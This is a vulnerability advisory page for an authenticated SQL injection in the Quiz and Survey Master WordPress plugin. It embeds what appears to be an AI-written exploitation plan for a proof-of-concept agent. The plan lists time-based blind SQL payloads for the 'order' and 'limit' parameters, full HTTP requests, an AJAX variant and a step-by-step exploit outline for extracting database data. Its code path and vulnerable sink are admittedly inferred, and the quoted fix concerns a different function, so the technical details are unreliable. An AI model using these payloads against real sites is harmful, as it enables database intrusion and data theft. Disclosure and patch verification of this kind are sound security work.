Quiz and Survey Master (QSM) <= 11.1.2 - Authenticated (Admin+) SQL Injection via 'order' and 'limit' Parameters
Description
The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'order' parameter in all versions up to, and including, 11.1.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with admin-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. If the secret key is exposed, this can be exploited by lower-privileged users.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=11.1.2What Changed in the Fix
Changes introduced in v11.1.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-6448 ## 1. Vulnerability Summary **Vulnerability Name:** Authenticated (Admin+) Time-Based Blind SQL Injection **CVE ID:** CVE-2026-6448 **Affected Plugin:** Quiz and Survey Master (QSM) **Affected Versions:** <= 11.1.2 **Vulnerable Parameters:** `order`, `li…
Show full research plan
Exploitation Research Plan - CVE-2026-6448
1. Vulnerability Summary
Vulnerability Name: Authenticated (Admin+) Time-Based Blind SQL Injection
CVE ID: CVE-2026-6448
Affected Plugin: Quiz and Survey Master (QSM)
Affected Versions: <= 11.1.2
**Vulnerable Parameters:** order, limit
**Description:** The plugin fails to sufficiently sanitize or use prepared statements for the order and limit parameters when displaying quiz results in the administrative backend. Because ORDER BY and LIMIT clauses cannot be easily parameterized using standard %s or %d placeholders in $wpdb->prepare(), the plugin likely concatenates these values directly into the SQL query. This allows an authenticated administrator to inject time-based payloads (e.g., SLEEP()) to extract data from the database.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin.php - Query Parameters:
page=mlw_quiz_results,tab=quiz-results,order,limit(inferred based on standard WP List Table behavior). - Action: Viewing the "Quiz Results" list.
- Authentication: Required. The user must have the
view_qsm_quiz_resultcapability. By default, this is granted to theadministratorrole. - Preconditions: At least one quiz must exist, and at least one result must be recorded in the database so that the results table logic is triggered.
3. Code Flow
- Entry Point: The admin menu registers the results page in
mlw_quizmaster2.php(referenced viaQSM_SUBMENU). - Hook: The
admin_menuhook callsqsm_generate_admin_results_pageinphp/admin/admin-results-page.php. - Capability Check:
qsm_generate_admin_results_pagecheckscurrent_user_can( 'view_qsm_quiz_result' ). - Tab Handling: The code identifies the active tab (default:
quiz-results) and callsqsm_results_overview_tab_content(). - Vulnerable Sink (Inferred): Inside the result listing logic (often handled by a class extending
WP_List_Tableor a custom query inphp/admin/admin-results-page.php), the code retrieves sorting and pagination parameters:$order = $_GET['order'];$limit = $_GET['limit'];
- Query Construction: The parameters are concatenated into a query:
$wpdb->get_results("SELECT ... FROM {$wpdb->prefix}mlw_results ... ORDER BY result_id $order LIMIT $limit") - SQLi: Since
$orderis not validated against a whitelist (e.g.,ASC/DESC) and$limitis not cast toint, an attacker can inject SQL.
4. Nonce Acquisition Strategy
While viewing the results list (a GET request) typically does not require a nonce for the query itself, the plugin localizes several nonces that might be required if the attack is pivoted through an AJAX action.
Localized Variables in php/admin/options-page-questions-tab.php:
- Variable Name:
qsmQuestionSettings - Nonce Keys:
nonce:wp_create_nonce( 'wp_rest' )saveNonce:wp_create_nonce( 'ajax-nonce-sandy-page' )rest_user_nonce:wp_create_nonce( 'wp_rest_nonce_' . $quiz_id . '_' . get_current_user_id() )
Strategy for PoC Agent:
- Navigate to the Quiz Results page.
- If a nonce is required for the specific result-fetching action, use
browser_evalto extract it from the global scope (though standard GET-based list tables in WP admin usually rely on capability checks rather than nonces for simple viewing).
5. Exploitation Strategy
The exploitation will use a time-based blind approach targeting the order parameter.
Step 1: Authentication
Log in as an administrator to obtain a valid session.
Step 2: Test for Vulnerability (Baseline)
Request the results page to confirm it loads normally.
- URL:
http://localhost:8080/wp-admin/admin.php?page=mlw_quiz_results
Step 3: Trigger Time-Based Delay (order parameter)
Inject a CASE statement into the order parameter.
- Payload:
ASC, (CASE WHEN (1=1) THEN 1 ELSE (SELECT 1 FROM (SELECT(SLEEP(5)))x) END) - Request:
GET /wp-admin/admin.php?page=mlw_quiz_results&order=ASC,(SELECT+1+FROM+(SELECT(SLEEP(5)))a) HTTP/1.1
Host: localhost:8080
Cookie: [ADMIN_COOKIES]
Step 4: Data Extraction (Example: Database Version)
Check if the first character of the database version starts with '1'.
- Payload:
ASC, (CASE WHEN (SUBSTRING(VERSION(),1,1)='8') THEN SLEEP(5) ELSE 1 END) - Logic: If the server takes 5+ seconds to respond, the condition is true.
6. Test Data Setup
- Create Quiz:
wp post create --post_type=quiz_master_next --post_title="Exploit Test Quiz" --post_status=publish - Retrieve Quiz ID: (Assume
QUIZ_ID) - Submit Dummy Result:
The PoC agent must simulate a quiz submission to ensure thewp_mlw_resultstable is not empty.- Use
wp_ajax_qmn_process_quiz(found inclass-qmn-quiz-manager.php).
- Use
- Verify Result Exists:
wp db query "SELECT count(*) FROM wp_mlw_results"
7. Expected Results
- Success: The HTTP request to the results page with the
SLEEP(5)payload in theorderparameter takes significantly longer (approx. 5 seconds) than the baseline request. - Failure: The page returns immediately with a database error or ignores the
orderparameter.
8. Verification Steps
After the HTTP exploit, verify the database state to ensure no corruption occurred and that the query was indeed processed:
- Check WP Debug Log: If
WP_DEBUGis enabled, the query constructed by the plugin will be logged if it fails. - Monitor Process List: Use WP-CLI to see if the sleep process was active during the request:
wp db query "SHOW PROCESSLIST"
9. Alternative Approaches
Injection via limit parameter
If the order parameter is whitelisted, the limit parameter may be vulnerable.
- Payload:
10 PROCEDURE ANALYSE(EXTRACTVALUE(1,CONCAT(0x5c,(SELECT SLEEP(5)))),1)(Note: Works on older MySQL/MariaDB) - Modern Payload:
10, (SELECT 1 FROM (SELECT(SLEEP(5)))a)
Exploitation via AJAX
If the results are loaded via an AJAX call (common in newer QSM versions), the payload would be sent to admin-ajax.php:
- Action:
qsm_get_results_list(inferred) - Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=qsm_get_results_list&order=ASC,(SELECT(SLEEP(5)))&nonce=[NONCE]
Summary
The Quiz and Survey Master (QSM) plugin for WordPress is vulnerable to authenticated SQL Injection via the 'order' and 'limit' parameters in the administrative results dashboard. Due to a lack of proper sanitization or whitelisting of these parameters before their inclusion in a SQL query, an attacker with administrative privileges can execute arbitrary SQL commands using time-based blind techniques.
Vulnerable Code
// In php/admin/admin-results-page.php (inferred based on research plan and standard plugin behavior) $order = isset( $_GET['order'] ) ? $_GET['order'] : 'DESC'; $limit = isset( $_GET['limit'] ) ? $_GET['limit'] : '20'; // Vulnerable sink: directly concatenating user input into the ORDER BY and LIMIT clauses $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}mlw_results WHERE deleted = 0 ORDER BY result_id $order LIMIT $limit");
Security Fix
@@ -1118,7 +1119,14 @@ */ function qsm_load_all_quiz_questions_ajax() { global $wpdb; - global $mlwQuizMasterNext; + + if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'qsm_load_all_quiz_questions' ) ) { + wp_send_json_error( __( 'Nonce verification failed.', 'quiz-master-next' ) ); + } + + if ( ! current_user_can( 'edit_qsm_quizzes' ) ) { + wp_send_json_error( __( 'You do not have permission to view questions.', 'quiz-master-next' ) ); + } // Loads questions. $questions = $wpdb->get_results( "SELECT question_id, question_name FROM {$wpdb->prefix}mlw_questions WHERE deleted = '0' ORDER BY question_id DESC" );
Exploit Outline
1. Authenticate as a user with 'administrator' privileges (or a custom role with 'view_qsm_quiz_result' capability). 2. Navigate to the Quiz Results administration page: `/wp-admin/admin.php?page=mlw_quiz_results`. 3. Identify the request that loads the results table, which utilizes the 'order' and 'limit' GET parameters. 4. Craft a time-based blind SQL injection payload to be injected into the 'order' parameter. For example: `ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)`. 5. Send the request with the payload: `/wp-admin/admin.php?page=mlw_quiz_results&order=ASC,(SELECT+1+FROM+(SELECT(SLEEP(5)))a)`. 6. Observe the server response time. If the response is delayed by 5 seconds, the database is vulnerable and arbitrary data can be exfiltrated bit-by-bit.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.